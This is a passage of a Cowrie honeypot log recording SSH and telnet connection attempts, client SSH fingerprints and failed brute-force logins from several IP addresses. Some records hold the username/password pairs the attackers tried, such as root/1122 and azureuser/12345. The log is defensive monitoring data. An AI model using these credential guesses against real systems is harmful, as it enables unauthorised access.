sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:22.124255Z","src_ip":"45.153.34.97","session":"244c43be28c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:22.875759Z","src_ip":"45.153.34.97","session":"244c43be28c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":53972,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1fd07d78614","protocol":"ssh","message":"New connection: 43.135.177.217:53972 (10.17.0.5:22) [session: f1fd07d78614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.502876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.507893Z","src_ip":"43.135.177.217","session":"f1fd07d78614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.575993Z","src_ip":"43.135.177.217","session":"f1fd07d78614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":58412,"dst_ip":"10.17.0.5","dst_port":22,"session":"1362e68d14e0","protocol":"ssh","message":"New connection: 43.153.36.83:58412 (10.17.0.5:22) [session: 1362e68d14e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.735505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.741076Z","src_ip":"43.153.36.83","session":"1362e68d14e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.810005Z","src_ip":"43.153.36.83","session":"1362e68d14e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1122","message":"login attempt [root/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:23.881894Z","src_ip":"43.135.177.217","session":"f1fd07d78614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:24.070725Z","src_ip":"45.153.34.97","session":"244c43be28c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conrad","message":"login attempt [root/conrad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:24.115771Z","src_ip":"43.153.36.83","session":"1362e68d14e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:24.952884Z","src_ip":"43.135.177.217","session":"f1fd07d78614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:25.191083Z","src_ip":"43.153.36.83","session":"1362e68d14e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":50238,"dst_ip":"10.17.0.5","dst_port":22,"session":"d60e93d90850","protocol":"ssh","message":"New connection: 176.32.39.21:50238 (10.17.0.5:22) [session: d60e93d90850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.480446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.485667Z","src_ip":"176.32.39.21","session":"d60e93d90850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34966,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc9157637b7","protocol":"ssh","message":"New connection: 45.153.34.97:34966 (10.17.0.5:22) [session: 5dc9157637b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.517476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.522163Z","src_ip":"45.153.34.97","session":"5dc9157637b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.604498Z","src_ip":"45.153.34.97","session":"5dc9157637b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.611845Z","src_ip":"176.32.39.21","session":"d60e93d90850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.892729Z","src_ip":"45.153.34.97","session":"5dc9157637b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123123","message":"login attempt [root/qwe123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:26.971167Z","src_ip":"176.32.39.21","session":"d60e93d90850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:27.986656Z","src_ip":"45.153.34.97","session":"5dc9157637b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:28.092505Z","src_ip":"176.32.39.21","session":"d60e93d90850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.91679406166077,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:30.194742Z","src_ip":"152.42.224.71","session":"6883813985e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10756,"dst_ip":"10.17.0.5","dst_port":22,"session":"d38a5692bcc5","protocol":"ssh","message":"New connection: 45.153.34.97:10756 (10.17.0.5:22) [session: d38a5692bcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:31.246774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:31.251907Z","src_ip":"45.153.34.97","session":"d38a5692bcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:31.334316Z","src_ip":"45.153.34.97","session":"d38a5692bcc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:31.586780Z","src_ip":"45.153.34.97","session":"d38a5692bcc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55058,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f3f865ef1a","protocol":"telnet","message":"New connection: 152.42.224.71:55058 (10.17.0.5:23) [session: e1f3f865ef1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:31.785895Z"}
{"eventid":"cowrie.session.closed","duration":50.93936371803284,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:32.283977Z","src_ip":"152.42.224.71","session":"b34a801c78aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:32.715455Z","src_ip":"45.153.34.97","session":"d38a5692bcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.26134014129639,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:34.629485Z","src_ip":"152.42.224.71","session":"5b9c39217c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.568302631378174,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:35.145713Z","src_ip":"152.42.224.71","session":"fa27a3b31bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10758,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b55cca83e77","protocol":"ssh","message":"New connection: 45.153.34.97:10758 (10.17.0.5:22) [session: 2b55cca83e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:35.480428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:35.485305Z","src_ip":"45.153.34.97","session":"2b55cca83e77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:35.584377Z","src_ip":"45.153.34.97","session":"2b55cca83e77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:36.473906Z","src_ip":"45.153.34.97","session":"2b55cca83e77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:37.576759Z","src_ip":"45.153.34.97","session":"2b55cca83e77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10762,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e4591ad3417","protocol":"ssh","message":"New connection: 45.153.34.97:10762 (10.17.0.5:22) [session: 2e4591ad3417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:39.873213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:39.878317Z","src_ip":"45.153.34.97","session":"2e4591ad3417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:40.278518Z","src_ip":"45.153.34.97","session":"2e4591ad3417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:42.707897Z","src_ip":"45.153.34.97","session":"2e4591ad3417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:43.793800Z","src_ip":"45.153.34.97","session":"2e4591ad3417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.824833393096924,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:45.021531Z","src_ip":"152.42.224.71","session":"8cbfd683cfed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":61634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c10ada652d9d","protocol":"ssh","message":"New connection: 45.153.34.97:61634 (10.17.0.5:22) [session: c10ada652d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:45.173610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:45.178388Z","src_ip":"45.153.34.97","session":"c10ada652d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp